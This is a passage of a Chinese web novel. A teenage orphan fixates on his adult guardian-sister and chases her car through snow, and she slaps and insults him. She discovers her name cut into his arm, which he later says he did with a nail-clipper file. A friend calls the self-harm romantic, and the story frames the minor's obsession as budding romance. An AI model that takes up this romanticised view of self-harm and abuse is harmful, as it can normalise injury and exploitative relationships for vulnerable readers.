刚才听张阿姨说，姐姐喜欢吃蛋黄鸡翅和菠萝排骨，沈知逸就一直没有碰那两道菜。
张阿姨看他总吃那道离自己最近的炒青菜，站起身来用公筷给他夹了一个大鸡腿过去：“吃肉啊，小知逸，吃肉才能长高。”
沈知逸受宠若惊，连忙夹了几块肉塞进嘴里，呜呜囔囔地说：“我一直在吃肉呢。”
张阿姨端起他面前的素菜，放到自己这边，给他放了一盘荤菜过去：“都是一家人，想吃什么就夹什么吃。”
沈知逸点头：“嗯嗯。”
黎父一直没说话，看起来不太高兴，吃到一半又拿着手机去打电话了。
等他回来，沈知逸垂眸看着碗里的饭，轻声问：“姐姐是不是不来了？”
黎父：“来，她说她到家门口了。”
黎父刚说完，玄关就传来一阵关门声。
高跟鞋落在地上的声音传过来，沈知逸心脏剧烈收缩，呼吸变得有些困难，一想到要看到姐姐了，还是会控制不住的紧张。
黎娜迈着懒散的步子走过来。
她穿着灰绿色大衣，里面搭配了一件米白色高领毛衣和黑色长款百褶裙，乌黑的卷发披在肩后，露出整张脸，五官深邃明艳，不带表情会显得凶，有些攻击性。
张阿姨站起来，满脸笑容地看着她。
“娜娜，你来啦。”
黎娜看她一眼：“张阿姨好。”
张阿姨过来给她拉椅子：“饿了吧，快坐下吃饭。”
黎娜毫不客气地坐下，旁边就是沈知逸，她当做没看到，一言不发地吃饭，看上去很不爽。
黎父说：“叫你过来吃顿饭，比登天还难。”
黎娜笑了：“你看我身上这件大衣好看吗？替我妈穿过来的。”
黎父：“……”
张阿姨：“……”
沈知逸：“噗嗤！咳咳咳……”
吃完饭，黎父抱着小孩喂奶，和张阿姨坐在沙发上一起看春晚，有说有笑，其乐融融。
黎娜在露天阳台上吹风，雪花落在她头发上，发丝随着晚风轻轻晃动，她趴在栏杆上，手里端着一杯红酒，身材高挑，背影有一种说不清道不明的孤独感。
“姐姐……”
身后传来一道小心翼翼的声音，极轻，似乎怕惊扰了她。
黎娜转回身来，清冷的目光落到沈知逸身上，没有说话。
沈知逸心跳极快，朝她走过来，距离越来越近，他却没有停下来的迹象。
不许再靠近我了。
黎娜正想要说这句话，沈知逸就停下来了，他们之间只剩下半米的距离。
沈知逸抬眸望着她，眼睛璀璨如夏日夜空，纯净到不掺有一丝杂质，就这么看着她，甜甜地对她笑。
黎娜不能像他这样笑出来，她记性很好，记得那个晚上他们闹得有多难看，所以不可能像他这样当做什么事情都没有发生过。
她冷眼看着沈知逸，如同在看一个不相干的
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陌生人。
沈知逸却丝毫不在意，抬起手放到头顶上，慢慢往前移，移到黎娜胸口前的位置，没有碰到她，笑容中多了一丝得意。
以前到她腹部，现在到她胸口。
长高这件事对于他来说，仿佛是一件多么了不起的事情。
但自从黎娜离开后，就再也没有人会给他量身高了。
黎娜因为他这个突然的动作愣了几秒，随即笑出了声，笑着笑着眼睛就红了。
这个小孩是真的很乖，乖到让人心里难受。
明明她都让自己变得那么令人厌恶了，不惜把他从楼上推下去，害他磕破额头，还扇了他一巴掌，但他此刻仍然对着她笑，仿佛那些事情从来没有发生过，一点都不记恨她。
但转念一想，她这样伤害他，他都不恨，这种执着是有多可怕。
黎娜脸上的笑容凝固了。
她从口袋里拿出一个红包，放到沈知逸手里，就离开了阳台，对黎父说：“我回家了。”
黎父看向她：“这么晚了，别回去了，住下吧，明天再走。”
黎娜置若未闻，离开了。
黎父：“原来是在通知我啊。”
沈知逸把红包装进口袋，从阳台里走出来：“黎叔叔，我回家了。”
黎父：“你也要走？”
沈知逸：“嗯。”
黎父：“行，都走吧，你们都不愿意陪我过年。”
沈知逸看他这么受伤的样子，心里愧疚极了，手足无措地站在原地，不知该如何是好。
黎父又笑了：“行了，逗你玩呢，回家吧，路上注意安全，到家了给我发信息。”
“好。”
沈知逸如释重负，头也不回地走了。
雪花飘落在柏油马路上，被过往车辆压成一层薄冰，紧紧地覆在路面上，在车灯的照耀下亮晶晶的。
过年期间，路上车少，黎娜把车速稳在三十码，到路口转弯时朝后视镜瞥了一眼。
结果这一眼，让黎娜再也没有移开视线。
在后视镜里，她看到穿着一身黑的少年，骑在山地车上，拼命狂蹬踏板，紧紧地跟在她车子后面，口罩手套都没戴，隔着这么远的距离都能看到他被风刮红的脸，还有他那双眼睛，在黑夜中亮得惊人，仿佛蛰伏在丛中的猛兽。
黎娜被他这幅模样吓得不轻。
真是不要命了，路上这么滑，他还敢骑得那么快。
不对，这不是他回家的路，他出现在她车子后面只有一种可能。
他竟然在跟踪她！
沈知逸出门时，黎娜正好开车出去。
他不知道自己怎么了，突然失去了手脚的控制权，骑上自行车就不管不顾地追了过去，连手套和口罩都没有戴。
寒风刺骨，他的手指被风吹得疼痛发麻，已经失去了知觉，但每次当他和黎娜之间拉开一段很长距离的时候，他就会全然忘记这种痛，快速蹬脚踏板。
他回望自己这半年，如同一具行尸走肉，时间似乎停在了那个他被黎娜推下楼的夜晚，后来的日子他感觉不到自己是活着的，就算用剪指甲刀伤害自己都不会觉得痛。
只有现在，他身体里的血液发烫沸腾，前所未有地渴望着，如同沙漠里快要渴死的迷失者看到了一片绿洲。
姐姐就在他眼前。
36. 公狗觉醒
黎娜慢慢踩紧刹车，靠边停下。
而沈知逸还在全力往前冲刺，一时间没反应过来，眼看就要撞上黎娜的后车灯，他迅速握紧刹车把手，动作又急又快，方向一下子失控了，车头往左，车屁股往右，他整个人斜过去，连人带车摔进了绿化带里，坚硬的树枝划破了他的皮肤。
黎娜打开车门下来，大步走向后面的绿化丛，冷着脸抓住沈知逸的衣领，直接将他拎起来站好，摘掉插进他卷毛里的草叶子，怒目瞪向他。
“你想死是不是？”
沈知逸垂眸看着手背上的血痕，不敢对上她的视线，也不敢说话，小卷毛垂下来盖住了大半张脸，他用力抠着自己的手指头，那幅乖顺的模样似乎在说我知道错了。
黎娜看他这样就来气，脸都气红了，质问他：“你跟着我干什么？”
“我想……送你新年礼物。”
沈知逸一头扎进草丛里，从自行车上找到他的背包，拉开拉链，从里面取出一个精致漂亮的丝绒盒子，低着头递给她。
“送给你，新年快乐。”
他布满血痕和泥土的手举在半空中，和掌心那个干净的丝绒盒显得格格不入。
黎娜不想接，但还是伸手接过来，想看看里面是什么东西。
她打开盒子，一条粉色的水晶手链出现在眼前，她迅速合上，冷笑一声：“多少钱买的？”
沈知逸抠到手指头都流血了，却好像感觉不到痛，闷声闷气地回答她：“五千块钱不到。”
黎娜把丝绒盒按到他身上，手就收回去了。
沈知逸怕掉到地上，赶紧接住，显得有些手忙脚乱。
“你不喜欢吗？”他语气失落。
黎娜深吸口气：“以后不要送我礼物，我不需要，而且有什么好送的，反正花的都是我给你的钱，没有必要。”
沈知逸抬头看向她：“这条手链我没有花你的钱，是用我自己的钱买的。”
黎娜眉心紧皱：“你自己的钱？你哪来的钱？”
沈知逸笑着说：“五千块钱的奖金啊，上次的钢琴演奏会……”
他声音逐渐低了下去，似乎想起了一些令他很难过的事情，脸上的笑意也消失了。
上次的演奏会，那个男人亲了姐姐的脸……
沈知逸再一次把礼物递出去，用乞求的眼神看着她。
“你收下好不好？求求你了……”
“好啊，我收下。”
黎娜接过来。
沈知逸笑得很开心。
黎娜退后几步，当着沈知逸的面，把那个丝绒盒扔进了垃圾桶里。
沈知逸笑意僵住，脸色发白。
“姐姐……”
黎娜扭头就走。
沈知逸赶紧过去翻垃圾桶，手在潮湿黏腻的桶底摸索了半天，指尖终于触碰到了那抹熟悉的触感，他拿出来，看到那个小盒子的样子，眼睛瞬间暗淡下去。
脏掉了，盒子上有很多奶茶渍，还黏上了黑乎乎的珍珠，摘掉了痕迹还在。
黎娜打开车门，腿还没伸进去，就让沈知逸过来给关上了。
沈知逸用身体挡在车门前面，紧握着那个丝绒盒，盒子在他手里微微变形，他抬眸看着黎娜，心里明明很生气，但还是在对她笑。
“为什么不收我的礼物，还要扔到垃圾桶里？”
黎娜不说话，撇开脸，连看他一眼都不愿意了。
沈知逸被她这幅模样刺痛了，真的很想把她的脸掰回来，但是又怕惹她生气，只能走进她的视野里。
“姐姐，你为什么要这样对我？我做错什么了吗？我只是喜——”
那个词还没有说出来，一巴掌扇到他脸上，力气到他整个人都歪向一边。
沈知逸用手捂住火辣辣的脸，瞳仁震颤，有眼泪溢出来，似乎还没有反应过来发生了什么，身体就先一步出现了难过的反应。
黎娜甩了甩手，冷声说：“我不收礼物，是因为礼物脏了啊。”
沈知逸眼泪划过脸庞，眼睛隐没在卷发的阴影里，轻轻地，很认真地说：“我给你的时候是干净的，是你把它扔到垃圾桶里了，所以才会脏。”
黎娜恍然大悟：“哦，对不起，是我错了，我以为送给我的礼物，我就拥有了处置它的权利，所以对于我的东西，我不可以扔掉吗？”
沈知逸肩膀发抖，声音哽咽：“你以前不会这样对我的，你会细心地照顾我，给我好吃的，帮我擦冻疮药……为什么，你现在要这样对我？”
“那还用说？因为我讨厌你啊。”
“沈知逸，我非常讨厌你。”
沈知逸不信：“你在撒谎，你明明给我买了手套……”
“一双手套就把你收买了，你这个人比路边的狗还要廉价。”
什么脏了，讨厌，路边狗，廉价……
沈知逸捂住耳朵，蹲在地上，不想再听她说那些伤人的话。
黎娜有点不耐烦了：“你换个地方蹲着行不行？别挡着我，好狗不挡道。”
沈知逸眼睛被泪水泡得发红：“我下学期留宿，你能不能搬回来？我再也不回家了，你搬回来住吧。”
黎娜说：“不可能。”
她直接伸手拉车门，沈知逸用后背挡着，不让她上车。
于是她拼命反复拉，故意让车门不停撞沈知逸的后背，试图让他疼，这样他就会走了。
可是沈知逸动都不动，眼泪止不住地往下流，滴在地上，融化出很多个小冰洞。
黎娜仰头望天，她是拿他没辙了，这个小孩是真倔，打不走，骂不走，又打又骂，还傻不拉几地对她笑。
眼眶开始升温发烫，黎娜也要哭了，她心里也难受，这么乖的小孩，怎么就这么喜欢她呢？她有什么好，还比他大十一岁。
十一岁，她小学都快毕业了，沈知逸才刚出生。
黎娜深深地吸了一口气，弯下腰抓住沈知逸的手腕，把他从地上拽起来。
盖在手上的袖子往后退，露出一截冷白的手臂，手臂内侧有纤细的红色线条，连接在一起，组成了两个血红色的字，发炎红肿，略高于周围的皮肤。
黎娜怔住了，看着沈知逸手臂内侧的字，眼睛都睁大了，想翻过他的手腕看个清楚。
他
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却像被踩了尾巴的猫一样，突然尖叫起来，拼命把手臂往回收，用力把袖子往下扯，但是黎娜的手卡在那里，他扯不下来，又焦急又无助，只能弯下腰用身体挡住自己的手臂，崩溃到哭泣。
黎娜放开他，想起自己上小学的时候，班里有些女孩爱而不得，就会特别中二地用小刀把对方的名字刻在手臂上，以此来表示自己的爱意之深。
但黎娜对这种做法嗤之以鼻，甚至觉得很尴尬，但是现在看沈知逸也做了那些女孩子做的事情，她就特别想说脏话，想骂人。
她想说，沈知逸你他妈就是一个大傻逼！无药可救的大傻逼！
她的名字笔画那么多，他可真行啊，还敢用刀子往手臂上写！他胆子可真他妈的大，她想扇死他。
沈知逸弯腰挡住手臂，脸埋在黎娜手上，带着温度的眼泪掉到她手背上，热热地滑下去，很快变得冰凉。
黎娜快被他弄疯了，想抬起他的头，但是他一直用力往下压，就是不肯抬头看她。
她用袖子胡乱地给沈知逸擦了把眼泪，比他还要崩溃。
“沈知逸，算我求你了行吗，你好好上学行不行，别整天想那些乱七八糟的事情！”
沈知逸哭得岔了气，肩膀时不时剧烈地颤抖一下，声音有些不受控制，他不想这么丢人拼命克制，但越克制就越失控。
黎娜说：“你以后要是再这样，我就去国外了，我一辈子都不回来，我不骗你，我总监一直想把我派到国外分公司去，我不想去，但你如果以后再这样，我就走了。”
沈知逸握在她手臂上的力道重了一点，哭得太久，喉咙都发不出声音了，趴在她手臂上一直摇头。
黎娜轻拍他颤抖的后背，给他顺气，用温柔又冷静的语气说：“那你就听话，现在放开我，骑上自行车回家，好不好？沈知逸你是个乖孩子。”
手臂上力道渐渐抽离了。
沈知逸放开她，遮挡在头发里的眼睛布满血丝，左边半张脸有发红的指印，上面划过几道泪痕。
他低着头，把草丛中的山地车扶起来。
黎娜捡起掉落在地上的丝绒盒，不顾上面黏腻的奶茶渍，很珍惜地捧在手心里，看向沈知逸，露出一个阳光明媚的笑容，眼眶却很红，眉心也紧皱着，似痛苦，又似欣喜，笑得那么开心，泪光却在眼中闪动。
“谢谢你的礼物，我收下了，就当是弟弟送给姐姐的新年礼物。”
“新年快乐，沈知逸。”
沈知逸背对着她，声音沙哑带着还未消散的哭意。
“姐姐，新年快乐。”
他骑上自行车，掉头回去，往反方向走了。
单薄的自行车，单薄的背影，消失在漆黑的雪夜里。
黎娜靠在车上，打开丝绒盒，取下那条粉色的水晶手链，是他用自己的奖金买的，总共才五千，全给她花了。
她握紧手链，抬头看着夜空，雪花落进她蓄满泪水的眼眶里，短暂地模糊了视线。
“多乖的小孩啊……”
“怎么会这么乖……”
她握着手链放在胸口，分不清在哭还是在笑。
37. 公狗觉醒
黎娜回到家，从冰箱里拿出一瓶冰镇的鸡尾酒，直接对着嘴猛灌，喉咙和肠胃受到刺激很难受，直到这种难受覆盖掉心里的难受，她才放下酒瓶，用袖子狠狠地擦了把嘴。
晃晃悠悠地倒在沙发上，黎娜打开手机看了眼时间，十二点整，顶端跳出来一条消息。
温琳：【新年快乐，我的娜娜宝贝。】
黎娜：【不快乐。】
温琳：【？？？】
黎娜：【差点被那个小屁孩吓死，他竟然在手臂上刻我的名字，好无语。】
温琳：【用刀刻的？】
黎娜：【应该是吧，有血痂。】
温琳：【卧槽，他竟然为了你自/残，好病娇啊，怎么没有这样的弟弟来爱我呢，呜呜呜呜……】
黎娜：【傻逼，等真有个这样的小孩喜欢你，你早就连夜坐火箭搬离地球了。】
温琳：【……】
温琳：【你稍微对他好点吧，我都快看不下去了。】
黎娜：【越对他好，他就会越喜欢我，他才多大啊，竟然喜欢我，他要置我于何地啊。】
温琳：【你还是对他好点吧，他从小在那样的环境里长大，性格很容易扭曲的，而且他还自/残，好极端啊，说不定你哪天对他太狠了，他一下子承受不住跳楼自杀了，那你可真是造孽了。】
黎娜：【不会吧，我今天还扇了他一巴掌……】
温琳：【！！！】
温琳：【娜娜牛逼！！】
黎娜退出聊天页面，打开和沈知逸的对话框，手指在键盘上停留了半天，不知道该发什么，刚才温琳的话真的吓到她了，真的很怕沈知逸被她打了一巴掌就想不开去跳楼。
黎娜咬着拇指，单手给沈知逸发了条信息过去。
黎娜：【对不起，你的脸还疼吗？】
信息成功发送出去，很久都没有回复，按照沈知逸骑自行车的速度，现在应该刚到家没多久，不存在睡着了没看到信息。
黎娜“噌”地站起来，像个无头苍蝇一样在客厅里来回踱步，焦虑到不行，几乎要把手机捏碎。
“怎么还不回信息！”
她把头发抓得一团糟，太着急智商就会下降，信息不回，还可以打电话，她存过沈知逸的电话号码，想都没想就拨了过去。
那个“嘟”声才响到一半，电话就被接通了，特别快，快到黎娜脑子里一片空白，都忘记自己要说什么了。
沈知逸很安静，要不是有很轻的呼吸声传过来，她还以为电话被挂断了。
黎娜咳了一声：“怎么不回我消息？”
沈知逸说：“你把我拉黑了。”
黎娜拍了下脑袋，这才想起来微信和手机号码都把沈知逸拉黑了。
她说：“行，那我挂了。”
沈知逸：“……”
黎娜抿唇：“以后不要再伤害自己了。”
沈知逸：“不是伤害。”
黎娜：“你用什么划的？”
沈知逸：“剪指甲刀。”
黎娜：“剪指甲刀？”
沈知逸：“嗯，里面有一片磨指甲的。”
黎娜用脑袋和肩膀夹着电话，满屋子找剪指甲刀，终于在茶几下面找到了，她掀开指甲刀的顶部，看到一片磨指甲的，顶端有些尖锐。
她推出来，在手臂上划了一下，还挺疼，但是没流血，不敢想象沈知逸把自己划成那样是用了多大的力气。
黎娜说：“以后不许做任何伤害自己的事情，你听到没有？”
电话那头沉默，几秒后响起一道轻笑声，沈知逸的声音传过来：“姐姐，你是不是在心疼我？”
黎娜：“……”
“如果我每天划一下，你都会像现在这样给我打电话吗？”
黎娜对着手机咆哮：“不会！”
她挂掉电话，气得半死。
什么东西！
脑子有病！
为了以防万一，沈知逸有急事找她，她把微信和电话号码都从黑名单里放出来了。
她仰躺在沙发上，看着天花板，长长地叹了口气，是真的不知道该拿这个小孩怎么办了，对他好不行，对他不好也不行。
那个丝绒盒上全是奶茶渍，还有黏糊糊的黑色东西，家里的阿姨回老家过年了，她一个人开着车去街上找干洗店。
当干洗店的老板娘问她要洗什么衣服时，黎娜掏出了这个丝绒盒，递到老板娘面前。
老板娘眯着眼睛看不清楚，拿起一旁的眼睛戴上，仔细观看，还以为是什么好东西，结果就是一个平平无奇的首饰盒。
“洗这个？”
黎娜：“你们店不能洗吗？”
老板娘擦汗：“当然能洗。”
黎娜：“那就帮我洗干净吧，明天我过来取。”
老板娘：“好的。”
黎娜正打算走，又传来老板娘的声音：“是很重要的人送的吧？”
黎娜步伐一顿：“是我弟弟送的，不小心弄脏了。”
老板娘笑得弯起眼睛：“你是个好姐姐。”
黎娜也笑了：“不，我不好，我是这个世界上最烂的姐姐。”
过节期间，营养师不在，沈知逸被黎父叫过去一起住了，从大年初一到大年初八，一日三餐有张阿姨做，厨艺比那些菲佣们还好。
黎父每天都在群里喊，叫黎娜过来吃饭，一家人聊聊天。
黎娜直接甩出一张机票，说国内冬天太冷了，她去马尔代夫过冬了，等天气暖和了再回来。
沈知逸看着她在群里发的消息，脸上没有表情，看完就把手机放下了，对黎父怀里的小宝宝很感兴趣。
小宝宝特别可爱，手小小的，脚也小小的，脸上肉很多，特别软嫩，沈知逸轻轻捏着他的小脚丫，戳了戳他的小手。
小宝宝被他
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弄得笑个不停，沈知逸也爱不释手。
看着身旁这两个小孩，怎么看怎么可爱，黎父温柔地说：“叫哥哥，说哥哥好。”
小宝宝咿呀学语：“叫、哥、哥……”
比他大十三岁的沈知逸：“……”
黎父笑得合不拢嘴：“是你叫哥哥，说哥哥好。”
小宝宝：“嗯。”
黎父一字一顿：“哥、哥、好。”
小宝宝：“好。”
比他大了近五十岁，却叫了他哥哥的黎父：“……”
沈知逸别开脸，憋笑憋得肩膀发抖。
黎父抱紧怀里的孩子，脸上笑容逐渐消失。
“以前家里还有一个孩子，也是你姐姐的弟弟，要是还活着的话，今年应该有十八岁了。”
沈知逸一愣：“死了吗？”
黎父：“嗯。”
沈知逸问：“是怎么死的呢？”
黎父：“淹死的。”
气氛忽然变得沉重起来了，沈知逸有些后悔，不该多嘴问的。
黎父说：“自从他死了之后，你姐姐再也不画画了，你姐姐真的很有绘画天赋，我一直以为她将来会成为一名画家，真的很可惜……”
怕引起黎父更多痛苦的回忆，沈知逸没再开口。
开学前，沈知逸和陈研约着出去打了几次篮球。
中途休息时，沈知逸抱着手机坐在一旁，手指在屏幕上狂戳。
借着拿水喝，陈研快速瞥了一眼，在一群密密麻麻的字里看到了“姐姐”两个字，他一屁股坐到沈知逸旁边，装作不经意间问：“你在干什么？”
他声音响起的瞬间，沈知逸关掉手机，往旁边挪了挪，跟他拉开一段距离。
陈研挑眉：“跟你姐姐吵架了？”
沈知逸抿唇：“她扇了我一巴掌，跑到国外去躲着我。”
陈研：“你太着急了，只会把你姐姐吓跑。”
沈知逸垂眸：“我知道，所以我现在要以退为进。”
陈研两眼放光，一脸八卦地追问：“所以你要怎么做？”
沈知逸用眼角扫他一眼，站起身来。
“关你什么事。”
他转身离开了篮球场。
陈研抛起篮球，落在他食指上转圈圈，看着沈知逸离开的背影，不停地唉声叹气。
“可恶的老女人啊，把小逸逸的魂都勾走了，篮球也不打了……”
夜深人静，沈知逸再次将备忘录里编辑的文字看了一遍，确认没有问题后，复制到黎娜的对话框，发送出去。
黎娜躺在床上看视频博主的Vlog，顶端跳出来一条消息，是沈知逸发来的，她双击点进去，看到一条极其长的对话框，里面全是密密麻麻的字，不禁瞪大了双眼。
沈知逸这是……写了一篇小作文给她？
黎娜坐直身子，面色严肃，一字一句认真看下去。
38. 公狗觉醒
沈知逸：【姐姐，这几天我一直在想，我对你的感情到底是家人之间的亲情，还是男女之间的爱情，又或者是你一次又一次将我从苦难中拯救出来，让我对你产生了依赖和仰慕，导致我非常害怕失去你。
失去你，就意味着我不再有干净的衣服穿，没有房子住，只能去捡别人扔掉的东西吃……我真的非常害怕失去你，所以当你交了男朋友之后，我害怕你会不要我，把我扔给黎叔叔，我跟黎叔叔还是不太亲近，我只把你当做最亲密的家人，之前看你交了男朋友，我因为害怕被抛弃做出了一些很冒犯你的事情，真的很对不起。
我从小没有爸爸妈妈，也没有上过学，其实很多感情我也不清楚是怎么回事，我分不清爱情和亲情，因为它们对于我来说非常相似，我错把亲情当成了爱情，这是不对的，我也因此感到痛苦，后来我去黎叔叔家住了几天，叔叔阿姨都对我特别好，我才知道原来这是亲情，并不是爱情。
我的不成熟给你添了很多麻烦，真的对不起，希望以后我们能好好当姐弟，祝你和你的男朋友天天开心。】
黎娜看完最后一个字，都不知道自己看了什么，很莫名其妙，又好像根本没看懂。
要是这么说的话，他为什么要在手臂上刻她的名字？
似乎猜到她的疑问，沈知逸很快又发来一条消息。
沈知逸：【还有我之前用刀划自己，其实是想吸引你的注意，让你多关心我一点，不过后来觉得太幼稚了，所以不想让你看到。姐姐，你能不能忘掉这个事情，对于我来说真的很丢人……】
黎娜：【好。】
黎娜：【你能明白自己的感情就好，希望我们以后能好好相处。】
还是太奇怪了，之前又哭又闹的，怎么这次突然想清楚了。
黎娜把通话记录截屏，发给温琳。
黎娜：【沈知逸发给我的，你看看，看懂了给我翻译一下。】
温琳：【大姐，你是外国人吗，连中文都看不懂了？】
黎娜：【你先看看。】
过了近五分钟，温琳回了。
温琳：【他在放狗屁。】
黎娜：【？？？】
温琳：【我感觉他在欲擒故纵，以退为进，让你放松警惕，再一举拿下！】
黎娜：【！！！】
黎娜：【好可怕！】
温琳：【别害怕，娜娜宝贝，也有可能他是真的不懂，毕竟他一个孤儿，又没人告诉过他这些事情，从小过得跟个野生动物一样，每天只想着填饱肚子，哪会想什么亲情啊，爱情啊这些的。】
温琳：【他到底是怎么想的，只有他自己知道。】
温琳：【你还是警惕一点比较好。】
黎娜：【受教了，温老师。】
温琳：【……温你妈。】
黎娜：【受教了，温妈妈。】
温琳：【神经。】
新年假期结束，黎娜从马尔代夫回来，恢复到以前朝九晚五的社畜生活。
沈知逸也开学了，骑山地车上学放学，按时吃饭睡觉弹琴。
他换掉了微信的动漫小狗头像，改成了自己打篮球的照片，那张照片他之前还发过朋友圈。
为此，他还被陈研骂了一顿。
陈研撤回刚发送出去的信息，看向身旁的沈知逸。
“你好端端的换头像干什么，害我信息都发错人了。”
沈知逸：“……”
不止换头像，他还频繁更新朋友圈，内容无外乎作业，钢琴，篮球，还有放学时的夕阳……偶尔照片中会露出他被小卷毛遮挡住的侧脸，又或者是放在钢琴上骨感有力的手指。
再次引来陈研的吐槽。
“你好有心机哦，这照片拍的，还有这更新朋友圈的频率……明摆着发给某个人看的。”
沈知逸脸不红心不跳，极其淡定的样子：“我发我自己的朋友圈，有什么问题？难道我不能发朋友圈吗？”
陈研一直盯着他，意味不明地坏笑：“你好骚啊，沈知逸。”
沈知逸：“骚不过你。”
陈研：“嘿嘿，谢谢夸奖。”
沈知逸发的朋友圈，黎娜一条都没有落下，不过她没有点赞，刷到就停留一会，看看他在学校里的生活。
有时候黎父还会点赞评论。
黎父：【第五张跟你合照的小姑娘是谁呀？】
沈知逸：【[含羞][含羞]】
黎父：【[强][强][强]】
沈知逸：【[嘘][嘘][嘘]】
黎娜嘴角抽搐，这两人在搞什么飞机啊，在对暗号吗，真无语。
不过……
她以为沈知逸会一直消沉下去，有时候还挺上愁的，没想到他生活还挺多姿多彩的，完全就是一个阳光开朗的小少年，还跟学校里的女同学暧昧不清。
黎娜对着屏幕露出了姨母笑，之前的那些疑虑消散了一些。
夜幕降临，房间里没有开灯，一片漆黑，只有手机屏幕的微弱光芒，照到沈知逸没有表情的脸上，皮肤呈现出一种病态的苍白，带着些阴郁。
他登录社交软件，之前系统推荐可能认识的人，有一个账号名字叫做Lena，他直觉就是黎娜，点进去一看，果然是黎娜，主页有黎娜参加品牌方活动的照片，资料一栏的年龄也能对得上。
沈知逸点了关注，然后把自己社交账号的头像换成了二次元萌妹，名字也改成一段乱码的英文字母，并设置成私密账号。
再次回到黎娜的主页，沈知逸每条视频都点进去看，看完就翻评论区，只有三四条，一刷就到底。
某条评论：【美女可以认识一下吗？】
沈知逸点进这条评论的主页，看到性别是男，反手就把他给举报了，然后把每条视频的评论区都翻一遍，把那些发挑逗信息的男人全部举报，这才放下手机，躺到床上沉沉地吐出口气。
到双休日，陈研跟家长说留宿，但是没有填留宿单，扛着电脑和平板跑去沈知逸那里打游戏了。
家里多了个男孩，热闹了不少，营养师也很开心沈知逸有个好朋友，一日三餐都用大鱼大肉伺候着。
到了晚上，陈研也不走，在沙发上睡觉。
沈知逸坐在沙发另一头背英语单词，看陈研书包扔在地上，只知道打游戏，心里很郁闷。
“为什么你天天打游戏打篮球，成绩还是那么好？”
陈研头都不抬：“因为我学习效率高啊。”
“效率？”
“嗯，学习的时候什么都不想，就认认真真地学。”
沈
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知逸垂眸：“我注意力很难集中……”
陈研：“嗯，你注意力都在女人身上。”
沈知逸：“……”
他放下英语书，拿起旁边的手机，一打开就有声音响起。
“想要追求喜欢的女生，一定不能太主动，你要散发自己的魅力，吸引她主动过来找你……”
陈研：“……”
沈知逸心脏骤停，手忙脚乱去按音量减小键，结果按错了，直接把手机给关了，但是声音还没停，他再按开机键，手机从腿上滑下去摔到地上了，他迅速捡起来，把声音按小。
客厅内一片寂静。
陈研：“……”
沈知逸深吸口气：“是垃圾广告。”
陈研：“……”
沈知逸火冒三丈：“真的是垃圾广告，你不相信我吗？！”
陈研：“我只信澳门新葡京……”
沈知逸：“……”
陈研咳了几声：“你到底喜欢谁啊？之前还对你姐姐一心一意，怎么现在总跟班里那个混血儿走在一起？你同时喜欢上了两个人？”
沈知逸闷声说：“我谁都不喜欢，我只喜欢学习。”
陈研才不信：“你就装吧，你脸上写的全是欲求不满，想被姐姐疼爱……”
沈知逸脸颊涨红，拿起手机，气呼呼地离开了客厅。
画完设计稿，黎娜端着咖啡来到落地窗前，打开手机登录社交平台，看到有新访客，她点进去，看到头像是一个二次元萌妹，在一群辣妹靓仔头像中显得极为显眼。
她点进这个二次元萌妹的主页，显示私密账号，粉丝为零，关注只有两个，还设置了隐私，点不开。
有电话进来，她退出去，按下接听键。
手机里传来一道耳熟的女性声音：“你好，请问是沈知逸的姐姐吗？”
黎娜：“我是。”
“哦，你好，我是沈知逸的老师，他在学校跟同学闹了点小矛盾，打起来了，您现在有空吗，方不方便来一趟学校？”
黎娜眉心微皱：“我有一个午休的时间，一个半小时。”
“足够的，请你现在过来一趟吧。”
“好。”
黎娜挂断电话，看了眼手表，去公司楼下开车赶往学校。
她曾经在这个学校待了六年，找到沈知逸老师的办公室并不难，她推开门走进去。
空调冷风扑面而来，黎娜大汗淋漓的身体迅速降温，看到有两个男孩站在两边，一个金发碧眼的小女孩站在他们中间，很为难的样子。
其中一个男孩是沈知逸，还有一个看起来有点眼熟，好像在哪里见过，黎娜回忆了一会，想起之前在福利院见过这个男孩，名字好像叫陈研。
见黎娜来了，沈知逸脸侧过去，看着窗外，脖子上的汗还没有消下去，滑落到衣领上，留下一片斑驳的汗渍。
他衣服被撕扯到变形了，上面有很多污渍，一看就知道战况有多激烈。
黎娜朝他走过去，接过老师递来的矿泉水，看着他。
“怎么回事？”
沈知逸垂下眸子，不吭声。
那个金发碧眼的小女孩说：“对不起，是我不对，我本来跟陈研说好了要跟他做小组作业的，但是我最后又去跟沈知逸组队了……”
39. 公狗觉醒
黎娜嘴角抽搐，小孩果然是小孩，因为这么点事还能打一架。
老师说：“我正纳闷呢，这两个小孩平时玩得挺好的，怎么突然就打起来了，幸好没受伤……”
黎娜问：“这个小孩的家长也来了吧？”
老师：“陈研的爸爸去卫生间了，应该很快回来，诶，回来了——”
一个中年男人走进办公室，他穿着工整的黑色西装，鼻梁上架着一副眼镜，面容宽和儒雅，看上去老，但是还挺斯文的，应该不是那种难缠的人。
黎娜稍微松了口气。
男人看到黎娜那抹高挑的身影，整个人都愣了一愣，慢慢走过去，到黎娜旁边，仰头看着黎娜：“你是沈知逸的姐姐？”
黎娜低头看他：“嗯，你好，陈研的爸爸。”
“你长得真高……”
“嗯，你长得也很高。”
中年男人：“……”
老师干笑几声：“事情的经过你们都知道了，也没什么大事，就是小孩子闹着玩。”
中年男人眼睛总往黎娜身上瞟，完全控制不住：“他们这个年纪的小孩都这样，年轻气盛，一冲动就要闯祸，互相道个歉就好了，以后还是好朋友。”
黎娜察觉到他的目光，大大方方地看回去，温柔地点头：“是啊，没受伤就好，互相道个歉吧。”
三个大人看向三个小孩。
陈研：“……”
沈知逸乖巧道歉：“对不起。”
陈研：“……”
中年男人：“研研，人家跟你道歉呢，你别当没听见。”
陈研翻白眼：“对不起。”
老师很欣慰，一脸期待地看着他们：“握握手。”
沈知逸和陈研：“……”
金发女孩拉起他们的手，用力按在一起，笑得很甜美：“以后还是好朋友哦，我们三个一起组队吧！”
沈知逸和陈研看着握在一起的手，前者嘴角微翘，后者的表情像握了一坨屎。
离开办公室后，陈研的家属先走了，黎娜垂眸看着这三个小孩。
“你们吃午饭了吗？”
三个小孩异口同声：“没有。”
“那就去食堂。”
黎娜带着三个小孩闯进食堂，一阵扫荡，每个人手里都拿了很多战利品。
落座时，陈研嘿嘿一笑，一屁股挤开往这边行动的沈知逸，紧挨着黎娜坐下。
结果他屁股还没有碰到椅子，就被沈知逸用胯骨顶飞出去，差点摔个狗啃屎，回头恶狠狠地瞪向沈知逸。
沈知逸已经坐下了，一脸担忧地看着他：“陈研，你没事吧？”
黎娜听见动静，向身后看了一眼：“地上有水，小心一点。”
“我没事，谢谢姐姐。”
陈研皮笑肉不笑，坐到他们对面，和金发女孩坐在一起。
